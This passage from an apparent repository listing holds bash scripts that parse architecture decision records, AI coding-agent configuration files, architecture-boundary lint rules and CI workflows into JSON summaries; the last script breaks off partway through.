          if [ -z "$summary" ]; then
              past_title=false
              while IFS= read -r line; do
                  if [[ "$line" =~ ^# ]] && [ "$past_title" = false ]; then
                      past_title=true
                      continue
                  fi
                  if [ "$past_title" = true ]; then
                      [[ -z "${line// /}" ]] && continue
                      [[ "$line" =~ ^# ]] && break
                      [[ "$line" =~ ^[*-][[:space:]] ]] && continue
                      summary=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //')
                      if [ ${#summary} -gt 120 ]; then
                          summary="${summary:0:117}..."
                      fi
                      break
                  fi
              done <<< "$content"
          fi
      
          # Extract decision: look for "Decision" section
          decision=""
          in_decision=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^#{1,3}[[:space:]]+(Decision|Resolution) ]]; then
                  in_decision=true
                  continue
              fi
              if [ "$in_decision" = true ]; then
                  [[ -z "${line// /}" ]] && continue
                  [[ "$line" =~ ^# ]] && break
                  [[ "$line" =~ ^\`\`\` ]] && break
                  decision=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //')
                  if [ ${#decision} -gt 150 ]; then
                      decision="${decision:0:147}..."
                  fi
                  break
              fi
          done <<< "$content"
      
          # Build JSON entry
          ADRS_JSON=$(echo "$ADRS_JSON" | jq \
              --arg file "$filename" \
              --arg title "$title" \
              --arg status "$status" \
              --arg summary "$summary" \
              --arg decision "$decision" \
              '. + [{file: $file, title: $title, status: $status, summary: $summary, decision: $decision}]')
      done
      
      # Output final JSON
      ADR_COUNT=$(echo "$ADRS_JSON" | jq 'length')
      jq -n \
          --argjson count "$ADR_COUNT" \
          --arg dir "$ADR_DIR" \
          --argjson adrs "$ADRS_JSON" \
          '{adr_count: $count, adr_directory: $dir, adrs: $adrs}'
      
    • extract-agent-configs.sh 9.2 KB
      #!/usr/bin/env bash
      # Extract information from AI coding agent configuration files
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Extract content from markdown-based instructions
      extract_md_instructions() {
          local file="$1"
          local max_lines="${2:-50}"
      
          if [ ! -f "$file" ]; then
              echo ""
              return
          fi
      
          # Get content, skip frontmatter if present
          awk '
              BEGIN { in_frontmatter=0; started=0 }
              /^---$/ && !started { in_frontmatter=!in_frontmatter; next }
              !in_frontmatter { started=1; print }
          ' "$file" | head -"$max_lines"
      }
      
      # Extract rules from various formats
      extract_rules() {
          local file="$1"
          local rules=()
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Extract bullet points or lines that look like rules
          while IFS= read -r line; do
              # Clean up the line
              line=$(echo "$line" | sed 's/^[[:space:]]*[-*][[:space:]]*//' | sed 's/[[:space:]]*$//')
              # Keep lines that look like rules (not empty, reasonable length)
              if [ -n "$line" ] && [ ${#line} -gt 5 ] && [ ${#line} -lt 500 ]; then
                  rules+=("$line")
              fi
          done < <(grep -E '^[[:space:]]*[-*][[:space:]]' "$file" 2>/dev/null | head -30 || true)
      
          if [ ${#rules[@]} -eq 0 ]; then
              echo "[]"
          else
              printf '%s\n' "${rules[@]}" | jq -R . | jq -s .
          fi
      }
      
      # Parse Cursor settings/rules
      parse_cursor() {
          local cursor_dir=".cursor"
      
          if [ ! -d "$cursor_dir" ]; then
              echo "{}"
              return
          fi
      
          local rules_file=""
          local rules_content="[]"
          local settings_file=""
          local model=""
          # Note: context_files would be used for extracting @file references but not yet implemented
      
          # Check for rules files
          for f in "$cursor_dir/rules" "$cursor_dir/rules.md" "$cursor_dir/.cursorrules"; do
              if [ -f "$f" ]; then
                  rules_file="$f"
                  rules_content=$(extract_rules "$f")
                  break
              fi
          done
      
          # Also check root .cursorrules
          if [ -z "$rules_file" ] && [ -f ".cursorrules" ]; then
              rules_file=".cursorrules"
              rules_content=$(extract_rules ".cursorrules")
          fi
      
          # Check for settings
          if [ -f "$cursor_dir/settings.json" ]; then
              settings_file="$cursor_dir/settings.json"
              model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "")
          fi
      
          jq -n \
              --arg rules_file "$rules_file" \
              --argjson rules "$rules_content" \
              --arg settings_file "$settings_file" \
              --arg model "$model" \
              '{
                  rules_file: $rules_file,
                  rules: $rules,
                  settings_file: $settings_file,
                  model: $model
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse Claude Code config
      parse_claude() {
          local claude_dir=".claude"
          local instructions_file=""
          local instructions=""
          local settings_file=""
          local model=""
      
          # Check for CLAUDE.md in various locations
          for f in "CLAUDE.md" "$claude_dir/CLAUDE.md" "$claude_dir/settings/CLAUDE.md"; do
              if [ -f "$f" ]; then
                  instructions_file="$f"
                  instructions=$(extract_md_instructions "$f" 30)
                  break
              fi
          done
      
          # Check for settings.json
          if [ -f "$claude_dir/settings.json" ]; then
              settings_file="$claude_dir/settings.json"
              model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "")
          fi
      
          # Check for .claude.json in root
          if [ -z "$settings_file" ] && [ -f ".claude.json" ]; then
              settings_file=".claude.json"
              model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "")
          fi
      
          jq -n \
              --arg instructions_file "$instructions_file" \
              --arg instructions "$instructions" \
              --arg settings_file "$settings_file" \
              --arg model "$model" \
              '{
                  instructions_file: $instructions_file,
                  instructions_preview: $instructions,
                  settings_file: $settings_file,
                  model: $model
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse GitHub Copilot config
      parse_copilot() {
          local instructions_file=""
          local instructions=""
      
          # Check for copilot instructions
          for f in ".github/copilot-instructions.md" "copilot-instructions.md"; do
              if [ -f "$f" ]; then
                  instructions_file="$f"
                  instructions=$(extract_md_instructions "$f" 30)
                  break
              fi
          done
      
          jq -n \
              --arg instructions_file "$instructions_file" \
              --arg instructions "$instructions" \
              '{
                  instructions_file: $instructions_file,
                  instructions_preview: $instructions
              } | with_entries(select(.value != ""))'
      }
      
      # Parse Windsurf config
      parse_windsurf() {
          local windsurf_dir=".windsurf"
      
          if [ ! -d "$windsurf_dir" ]; then
              echo "{}"
              return
          fi
      
          local rules_file=""
          local rules_content="[]"
      
          # Check for rules/instructions
          for f in "$windsurf_dir/rules.md" "$windsurf_dir/instructions.md" "$windsurf_dir/.windsurfrules"; do
              if [ -f "$f" ]; then
                  rules_file="$f"
                  rules_content=$(extract_rules "$f")
                  break
              fi
          done
      
          jq -n \
              --arg rules_file "$rules_file" \
              --argjson rules "$rules_content" \
              '{
                  rules_file: $rules_file,
                  rules: $rules
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse Aider config
      parse_aider() {
          local config_file=""
          local model=""
          local conventions=""
      
          # Check for aider config files
          for f in ".aider.conf.yml" ".aider.conf.yaml" ".aider/config.yml"; do
              if [ -f "$f" ]; then
                  config_file="$f"
                  # Extract model if present
                  model=$(grep -E '^model:' "$f" 2>/dev/null | sed 's/model:[[:space:]]*//' | head -1 || echo "")
                  break
              fi
          done
      
          # Check for conventions file
          if [ -f ".aider/CONVENTIONS.md" ]; then
              conventions=".aider/CONVENTIONS.md"
          fi
      
          jq -n \
              --arg config_file "$config_file" \
              --arg model "$model" \
              --arg conventions "$conventions" \
              '{
                  config_file: $config_file,
                  model: $model,
                  conventions_file: $conventions
              } | with_entries(select(.value != ""))'
      }
      
      # Parse Continue config
      parse_continue() {
          local continue_dir=".continue"
      
          if [ ! -d "$continue_dir" ]; then
              echo "{}"
              return
          fi
      
          local config_file=""
          local models="[]"
      
          # Check for config files
          for f in "$continue_dir/config.json" "$continue_dir/config.yaml"; do
              if [ -f "$f" ]; then
                  config_file="$f"
                  if [[ "$f" == *.json ]]; then
                      models=$(jq '[.models[]? | .title // .model] // []' "$f" 2>/dev/null || echo "[]")
                  fi
                  break
              fi
          done
      
          jq -n \
              --arg config_file "$config_file" \
              --argjson models "$models" \
              '{
                  config_file: $config_file,
                  configured_models: $models
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse Cody (Sourcegraph) config
      parse_cody() {
          local cody_file=""
          local model=""
      
          # Check for cody config
          for f in ".sourcegraph/cody.json" ".cody/config.json"; do
              if [ -f "$f" ]; then
                  cody_file="$f"
                  model=$(jq -r '.model // ""' "$f" 2>/dev/null || echo "")
                  break
              fi
          done
      
          jq -n \
              --arg config_file "$cody_file" \
              --arg model "$model" \
              '{
                  config_file: $config_file,
                  model: $model
              } | with_entries(select(.value != ""))'
      }
      
      # Detect which agents are configured
      AGENTS=()
      { [ -d ".cursor" ] || [ -f ".cursorrules" ]; } && AGENTS+=("cursor")
      { [ -d ".claude" ] || [ -f "CLAUDE.md" ]; } && AGENTS+=("claude")
      { [ -f ".github/copilot-instructions.md" ] || [ -f "copilot-instructions.md" ]; } && AGENTS+=("copilot")
      [ -d ".windsurf" ] && AGENTS+=("windsurf")
      { [ -d ".aider" ] || [ -f ".aider.conf.yml" ] || [ -f ".aider.conf.yaml" ]; } && AGENTS+=("aider")
      [ -d ".continue" ] && AGENTS+=("continue")
      { [ -d ".codeium" ]; } && AGENTS+=("codeium")
      { [ -d ".tabnine" ]; } && AGENTS+=("tabnine")
      { [ -d ".sourcegraph" ] || [ -f ".sourcegraph/cody.json" ]; } && AGENTS+=("cody")
      
      # Build agents list JSON
      if [ ${#AGENTS[@]} -eq 0 ]; then
          AGENTS_JSON="[]"
      else
          AGENTS_JSON=$(printf '%s\n' "${AGENTS[@]}" | jq -R . | jq -s .)
      fi
      
      # Extract configs for detected agents
      CURSOR_CONFIG=$(parse_cursor)
      CLAUDE_CONFIG=$(parse_claude)
      COPILOT_CONFIG=$(parse_copilot)
      WINDSURF_CONFIG=$(parse_windsurf)
      AIDER_CONFIG=$(parse_aider)
      CONTINUE_CONFIG=$(parse_continue)
      CODY_CONFIG=$(parse_cody)
      
      # Build final JSON output
      jq -n \
          --argjson detected "$AGENTS_JSON" \
          --argjson cursor "$CURSOR_CONFIG" \
          --argjson claude "$CLAUDE_CONFIG" \
          --argjson copilot "$COPILOT_CONFIG" \
          --argjson windsurf "$WINDSURF_CONFIG" \
          --argjson aider "$AIDER_CONFIG" \
          --argjson continue_config "$CONTINUE_CONFIG" \
          --argjson cody "$CODY_CONFIG" \
          '{
              detected_agents: $detected,
              cursor: $cursor,
              claude: $claude,
              copilot: $copilot,
              windsurf: $windsurf,
              aider: $aider,
              continue: $continue_config,
              cody: $cody
          }'
      
    • extract-architecture-rules.sh 19.9 KB
      #!/usr/bin/env bash
      # Extract module boundary rules from architecture test frameworks
      # Supports: phpat, deptrac, Go conventions, ESLint import rules, golangci-lint depguard
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Collect results into arrays/objects, then assemble JSON at the end
      FRAMEWORK=""
      RULES="[]"
      INTERNAL_PACKAGES="[]"
      LAYER_DEFINITIONS="{}"
      
      # --- phpat (PHP Architecture Tester) ---
      parse_phpat() {
          local found=false
      
          # Find phpat test files
          local phpat_files=()
          for dir in tests/Architecture Tests/Architecture tests/architecture; do
              if [ -d "$dir" ]; then
                  while IFS= read -r f; do
                      phpat_files+=("$f")
                  done < <(find "$dir" -name "*.php" -type f 2>/dev/null)
              fi
          done
      
          # Also check phpat config files
          local phpat_config=""
          for f in phpat.yaml phpat.neon phpat.yml; do
              [ -f "$f" ] && phpat_config="$f" && break
          done
      
          if [ ${#phpat_files[@]} -eq 0 ] && [ -z "$phpat_config" ]; then
              return 1
          fi
      
          found=true
          FRAMEWORK="phpat"
          local rules_arr="[]"
      
          # Parse PHP test files for rule patterns
          for file in "${phpat_files[@]}"; do
              # Match shouldNotDependOn patterns
              # e.g. classesThat(Selector::haveClassName('*Controller*'))->shouldNotDependOn(Selector::haveClassName('*Repository*'))
              while IFS= read -r line; do
                  local source=""
                  local target=""
      
                  # Extract source from classesThat / classesInNamespace / haveClassName
                  if [[ "$line" =~ classesThat\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then
                      source="${BASH_REMATCH[1]}"
                  elif [[ "$line" =~ classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then
                      source="${BASH_REMATCH[1]}"
                  elif [[ "$line" =~ classesThat\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then
                      source="${BASH_REMATCH[1]}"
                  fi
      
                  # Determine rule type and target
                  local rule_type=""
                  if [[ "$line" =~ shouldNotDependOn ]]; then
                      rule_type="must_not_depend"
                      if [[ "$line" =~ shouldNotDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then
                          target="${BASH_REMATCH[1]}"
                      elif [[ "$line" =~ shouldNotDependOn\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then
                          target="${BASH_REMATCH[1]}"
                      fi
                  elif [[ "$line" =~ shouldOnlyDependOn ]]; then
                      rule_type="must_only_depend"
                      if [[ "$line" =~ shouldOnlyDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then
                          target="${BASH_REMATCH[1]}"
                      elif [[ "$line" =~ shouldOnlyDependOn\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then
                          target="${BASH_REMATCH[1]}"
                      fi
                  elif [[ "$line" =~ mustNotDependOn ]]; then
                      rule_type="must_not_depend"
                      if [[ "$line" =~ mustNotDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then
                          target="${BASH_REMATCH[1]}"
                      fi
                  fi
      
                  if [ -n "$source" ] && [ -n "$target" ] && [ -n "$rule_type" ]; then
                      rules_arr=$(echo "$rules_arr" | jq \
                          --arg s "$source" --arg t "$target" --arg rt "$rule_type" \
                          '. + [{"source": $s, "target": $t, "type": $rt}]')
                  fi
              done < <(grep -E 'shouldNotDependOn|shouldOnlyDependOn|mustNotDependOn' "$file" 2>/dev/null || true)
      
              # Match canOnlyBeAccessedBy patterns
              while IFS= read -r line; do
                  local target=""
                  local source=""
      
                  if [[ "$line" =~ haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\).*canOnlyBeAccessedBy ]]; then
                      target="${BASH_REMATCH[1]}"
                  fi
                  if [[ "$line" =~ canOnlyBeAccessedBy\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then
                      source="${BASH_REMATCH[1]}"
                  fi
      
                  if [ -n "$source" ] && [ -n "$target" ]; then
                      rules_arr=$(echo "$rules_arr" | jq \
                          --arg s "$source" --arg t "$target" \
                          '. + [{"source": $s, "target": $t, "type": "can_only_access"}]')
                  fi
              done < <(grep -E 'canOnlyBeAccessedBy' "$file" 2>/dev/null || true)
          done
      
          # Parse phpat YAML/NEON config
          if [ -n "$phpat_config" ]; then
              # Extract rules from YAML config (simplified parsing)
              while IFS= read -r line; do
                  if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+)[[:space:]]+should_not_depend_on[[:space:]]+(.+) ]]; then
                      rules_arr=$(echo "$rules_arr" | jq \
                          --arg s "${BASH_REMATCH[1]}" --arg t "${BASH_REMATCH[2]}" \
                          '. + [{"source": $s, "target": $t, "type": "must_not_depend"}]')
                  fi
              done < "$phpat_config"
          fi
      
          RULES="$rules_arr"
          return 0
      }
      
      # --- deptrac (PHP dependency checker) ---
      parse_deptrac() {
          local config_file=""
          for f in deptrac.yaml depfile.yaml deptrac.yml depfile.yml; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          [ -z "$config_file" ] && return 1
      
          FRAMEWORK="deptrac"
          local rules_arr="[]"
          local layers_obj="{}"
      
          # Parse layer definitions
          local in_layers=false
          local current_layer=""
          local layer_collectors=()
          while IFS= read -r line; do
              # Detect layers section
              if [[ "$line" =~ ^layers: ]]; then
                  in_layers=true
                  continue
              fi
      
              # End of layers section (next top-level key)
              if $in_layers && [[ "$line" =~ ^[a-z] && ! "$line" =~ ^[[:space:]] ]]; then
                  in_layers=false
                  # Save last layer
                  if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then
                      local collectors_json
                      collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .)
                      layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}')
                  fi
                  continue
              fi
      
              if $in_layers; then
                  # Layer name
                  if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then
                      # Save previous layer
                      if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then
                          local collectors_json
                          collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .)
                          layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}')
                      fi
                      current_layer=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
                      layer_collectors=()
                  fi
                  # Collector value (directory or className)
                  if [[ "$line" =~ value:[[:space:]]*(.+) ]]; then
                      layer_collectors+=("$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')")
                  fi
              fi
          done < "$config_file"
      
          # Save last layer
          if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then
              local collectors_json
              collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .)
              layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}')
          fi
      
          LAYER_DEFINITIONS="$layers_obj"
      
          # Parse ruleset (which layers can depend on which)
          local in_ruleset=false
          local current_source=""
          while IFS= read -r line; do
              if [[ "$line" =~ ^ruleset: ]]; then
                  in_ruleset=true
                  continue
              fi
      
              if $in_ruleset && [[ "$line" =~ ^[a-z] && ! "$line" =~ ^[[:space:]] ]]; then
                  in_ruleset=false
                  continue
              fi
      
              if $in_ruleset; then
                  # Source layer
                  if [[ "$line" =~ ^[[:space:]]+([A-Za-z_]+): ]]; then
                      current_source="${BASH_REMATCH[1]}"
                  fi
                  # Allowed target
                  if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([A-Za-z_]+) ]] && [ -n "$current_source" ]; then
                      local target="${BASH_REMATCH[1]}"
                      if [ "$target" != "$current_source" ]; then
                          rules_arr=$(echo "$rules_arr" | jq \
                              --arg s "$current_source" --arg t "$target" \
                              '. + [{"source": $s, "target": $t, "type": "may_depend"}]')
                      fi
                  fi
              fi
          done < "$config_file"
      
          RULES="$rules_arr"
          return 0
      }
      
      # --- Go architecture conventions ---
      parse_go_architecture() {
          # Only for Go projects
          [ ! -f "go.mod" ] && return 1
      
          local found_anything=false
          local internal_pkgs="[]"
          local rules_arr="[]"
      
          # Check for internal/ directories (Go compiler-enforced boundaries)
          if [ -d "internal" ]; then
              found_anything=true
              while IFS= read -r dir; do
                  local rel_path="${dir#./}"
                  internal_pkgs=$(echo "$internal_pkgs" | jq --arg p "$rel_path" '. + [$p]')
              done < <(find ./internal -mindepth 1 -maxdepth 2 -type d 2>/dev/null)
      
              # If no subdirs, just list internal itself
              if [ "$(echo "$internal_pkgs" | jq 'length')" = "0" ]; then
                  internal_pkgs='["internal"]'
              fi
          fi
      
          # Check for depguard rules in golangci-lint config
          local golangci_config=""
          for f in .golangci.yml .golangci.yaml; do
              [ -f "$f" ] && golangci_config="$f" && break
          done
      
          if [ -n "$golangci_config" ]; then
              # Parse depguard deny rules
              local in_depguard=false
              local in_deny=false
              local current_pkg=""
              local current_desc=""
              while IFS= read -r line; do
                  if [[ "$line" =~ ^[[:space:]]*depguard: ]]; then
                      in_depguard=true
                      continue
                  fi
      
                  # Exit depguard section on next top-level setting
                  if $in_depguard && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ ^[[:space:]]{6} && ! "$line" =~ deny && ! "$line" =~ rules && ! "$line" =~ main ]]; then
                      in_depguard=false
                      in_deny=false
                      continue
                  fi
      
                  if $in_depguard && [[ "$line" =~ deny: ]]; then
                      in_deny=true
                      continue
                  fi
      
                  if $in_depguard && $in_deny; then
                      if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*pkg:[[:space:]]*(.+) ]]; then
                          current_pkg=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
                          found_anything=true
                      fi
                      if [[ "$line" =~ desc:[[:space:]]*(.+) ]]; then
                          current_desc=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
                          if [ -n "$current_pkg" ]; then
                              rules_arr=$(echo "$rules_arr" | jq \
                                  --arg s "*" --arg t "$current_pkg" --arg rt "must_not_depend" --arg d "$current_desc" \
                                  '. + [{"source": $s, "target": $t, "type": $rt, "reason": $d}]')
                              current_pkg=""
                              current_desc=""
                          fi
                      fi
                  fi
              done < "$golangci_config"
      
              # Parse gomodguard if present
              local in_gomodguard=false
              local in_blocked=false
              while IFS= read -r line; do
                  if [[ "$line" =~ ^[[:space:]]*gomodguard: ]]; then
                      in_gomodguard=true
                      continue
                  fi
      
                  if $in_gomodguard && [[ "$line" =~ blocked: ]]; then
                      in_blocked=true
                      continue
                  fi
      
                  if $in_gomodguard && $in_blocked; then
                      if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*pkg:[[:space:]]*(.+) ]]; then
                          local blocked_pkg
                          blocked_pkg=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
                          rules_arr=$(echo "$rules_arr" | jq \
                              --arg s "*" --arg t "$blocked_pkg" --arg rt "must_not_depend" \
                              '. + [{"source": $s, "target": $t, "type": $rt}]')
                          found_anything=true
                      fi
                  fi
      
                  # Exit gomodguard on next top-level setting
                  if $in_gomodguard && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ blocked && ! "$line" =~ modules && ! "$line" =~ versions ]]; then
                      in_gomodguard=false
                      in_blocked=false
                  fi
              done < "$golangci_config"
      
              # Parse forbidigo patterns (banned function calls)
              local in_forbidigo=false
              local in_forbid=false
              while IFS= read -r line; do
                  if [[ "$line" =~ ^[[:space:]]*forbidigo: ]]; then
                      in_forbidigo=true
                      continue
                  fi
                  if $in_forbidigo && [[ "$line" =~ forbid: ]]; then
                      in_forbid=true
                      continue
                  fi
                  if $in_forbidigo && $in_forbid; then
                      if [[ "$line" =~ pattern:[[:space:]]*(.+) ]]; then
                          local pattern
                          pattern=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//;s/[\^$]//g')
                          rules_arr=$(echo "$rules_arr" | jq \
                              --arg s "*" --arg t "$pattern" --arg rt "forbidden_call" \
                              '. + [{"source": $s, "target": $t, "type": $rt}]')
                          found_anything=true
                      fi
                  fi
                  if $in_forbidigo && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ forbid && ! "$line" =~ pattern ]]; then
                      in_forbidigo=false
                      in_forbid=false
                  fi
              done < "$golangci_config"
          fi
      
          # Detect directory-based architecture patterns
          local arch_pattern=""
          if [ -d "ports" ] && [ -d "adapters" ]; then
              arch_pattern="hexagonal"
              found_anything=true
          elif [ -d "domain" ] && [ -d "infrastructure" ]; then
              arch_pattern="clean-architecture"
              found_anything=true
          elif [ -d "cmd" ] && [ -d "pkg" ]; then
              arch_pattern="go-standard-layout"
              found_anything=true
          fi
      
          if [ -n "$arch_pattern" ]; then
              LAYER_DEFINITIONS=$(echo "$LAYER_DEFINITIONS" | jq --arg p "$arch_pattern" '. + {"architecture_pattern": $p}')
          fi
      
          $found_anything || return 1
      
          [ -z "$FRAMEWORK" ] && FRAMEWORK="go-conventions"
          RULES="$rules_arr"
          INTERNAL_PACKAGES="$internal_pkgs"
          return 0
      }
      
      # --- ESLint import restrictions ---
      parse_eslint_imports() {
          local config_file=""
          for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          [ -z "$config_file" ] && return 1
      
          local rules_arr="[]"
          local found=false
      
          # For JSON eslint configs, extract import/no-restricted-paths or no-restricted-imports
          if [[ "$config_file" == *.json ]] || [[ "$config_file" == .eslintrc ]]; then
              # Check for no-restricted-imports
              local restricted
              restricted=$(jq -r '.rules["no-restricted-imports"] // .rules["import/no-restricted-paths"] // empty' "$config_file" 2>/dev/null || echo "")
              if [ -n "$restricted" ] && [ "$restricted" != "null" ]; then
                  found=true
                  # Extract patterns from the restriction config
                  local patterns
                  patterns=$(echo "$restricted" | jq -r '
                      if type == "array" then
                          .[1].patterns // .[1].zones // []
                      elif type == "object" then
                          .patterns // .zones // []
                      else [] end | .[] |
                      if type == "object" then
                          "from=" + (.from // .target // "?") + " import=" + (.import // .message // "restricted")
                      elif type == "string" then
                          "pattern=" + .
                      else empty end
                  ' 2>/dev/null || echo "")
      
                  while IFS= read -r pat; do
                      [ -z "$pat" ] && continue
                      rules_arr=$(echo "$rules_arr" | jq \
                          --arg desc "$pat" \
                          '. + [{"source": "*", "target": $desc, "type": "import_restriction"}]')
                  done <<< "$patterns"
              fi
          fi
      
          # For JS configs, do a best-effort grep for no-restricted-imports
          if [[ "$config_file" == *.js ]] || [[ "$config_file" == *.mjs ]] || [[ "$config_file" == *.cjs ]]; then
              if grep -q 'no-restricted-imports\|import/no-restricted-paths' "$config_file" 2>/dev/null; then
                  found=true
                  # Extract string patterns from the config (simplified)
                  while IFS= read -r pattern; do
                      [ -z "$pattern" ] && continue
                      local clean_pattern
                      clean_pattern=$(echo "$pattern" | sed "s/['\"]//g;s/,//g;s/^[[:space:]]*//" | head -c 100)
                      [ -n "$clean_pattern" ] && rules_arr=$(echo "$rules_arr" | jq \
                          --arg t "$clean_pattern" \
                          '. + [{"source": "*", "target": $t, "type": "import_restriction"}]')
                  done < <(grep -A1 'no-restricted-imports\|import/no-restricted-paths' "$config_file" 2>/dev/null | grep -oE "'[^']+'" | head -10)
              fi
          fi
      
          $found || return 1
      
          [ -z "$FRAMEWORK" ] && FRAMEWORK="eslint-imports"
          RULES="$rules_arr"
          return 0
      }
      
      # --- Detect architecture from directory conventions ---
      parse_directory_architecture() {
          local rules_arr="[]"
          local layers_obj="{}"
          local found=false
      
          # Hexagonal / Ports & Adapters
          if [ -d "ports" ] && [ -d "adapters" ]; then
              found=true
              layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "hexagonal"}')
              rules_arr=$(echo "$rules_arr" | jq '. + [
                  {"source": "adapters", "target": "ports", "type": "may_depend"},
                  {"source": "ports", "target": "adapters", "type": "must_not_depend"}
              ]')
          fi
      
          # Clean Architecture
          if [ -d "domain" ] && { [ -d "infrastructure" ] || [ -d "application" ]; }; then
              found=true
              layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "clean-architecture"}')
              rules_arr=$(echo "$rules_arr" | jq '. + [
                  {"source": "domain", "target": "infrastructure", "type": "must_not_depend"},
                  {"source": "domain", "target": "application", "type": "must_not_depend"}
              ]')
          fi
      
          # Onion Architecture
          if [ -d "Domain" ] && [ -d "Application" ] && [ -d "Infrastructure" ]; then
              found=true
              layers_obj=$(echo "$layers_obj" | jq '. + {"architecture_pattern": "onion"}')
              rules_arr=$(echo "$rules_arr" | jq '. + [
                  {"source": "Domain", "target": "Infrastructure", "type": "must_not_depend"},
                  {"source": "Domain", "target": "Application", "type": "must_not_depend"},
                  {"source": "Application", "target": "Infrastructure", "type": "must_not_depend"}
              ]')
          fi
      
          $found || return 1
      
          [ -z "$FRAMEWORK" ] && FRAMEWORK="directory-conventions"
          RULES="$rules_arr"
          LAYER_DEFINITIONS="$layers_obj"
          return 0
      }
      
      # --- Main: try each parser in priority order ---
      # Try specific frameworks first, then fall back to conventions
      parse_phpat || true
      if [ "$FRAMEWORK" = "" ]; then
          parse_deptrac || true
      fi
      if [ "$FRAMEWORK" = "" ]; then
          parse_go_architecture || true
      fi
      if [ "$FRAMEWORK" = "" ]; then
          parse_eslint_imports || true
      fi
      if [ "$FRAMEWORK" = "" ]; then
          parse_directory_architecture || true
      fi
      
      # Output final JSON
      jq -n \
          --arg framework "$FRAMEWORK" \
          --argjson rules "$RULES" \
          --argjson internal_packages "$INTERNAL_PACKAGES" \
          --argjson layer_definitions "$LAYER_DEFINITIONS" \
          '{
              framework: $framework,
              rules: $rules,
              internal_packages: $internal_packages,
              layer_definitions: $layer_definitions
          } | with_entries(select(
              .value != "" and .value != [] and .value != {} and .value != null
          ))'
      
    • extract-ci-commands.sh 12.5 KB
      #!/usr/bin/env bash
      # Extract commands and configuration from CI/CD workflow files
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Parse GitHub Actions workflows
      parse_github_actions() {
          local workflows_dir=".github/workflows"
      
          if [ ! -d "$workflows_dir" ]; then
              echo "{}"
              return
          fi
      
          local workflow_files=()
          local all_commands=()
          local jobs=()
          local triggers=()
      
          # Find all workflow files
          for f in "$workflows_dir"/*.yml "$workflows_dir"/*.yaml; do
              [ -f "$f" ] || continue
              workflow_files+=("$(basename "$f")")
      
              # Extract triggers (on: section)
              local file_triggers
              file_triggers=$(grep -A10 "^on:" "$f" 2>/dev/null | grep -E "^\s+(push|pull_request|workflow_dispatch|schedule|release):" | sed 's/[[:space:]]*\([a-z_]*\):.*/\1/' | tr '\n' ',' | sed 's/,$//' || echo "")
              [ -n "$file_triggers" ] && triggers+=("$file_triggers")
      
              # Extract job names
              local in_jobs=false
              while IFS= read -r line; do
                  if [[ "$line" =~ ^jobs: ]]; then
                      in_jobs=true
                      continue
                  fi
                  if $in_jobs && [[ "$line" =~ ^[[:space:]]{2}([a-zA-Z0-9_-]+): ]]; then
                      jobs+=("${BASH_REMATCH[1]}")
                  fi
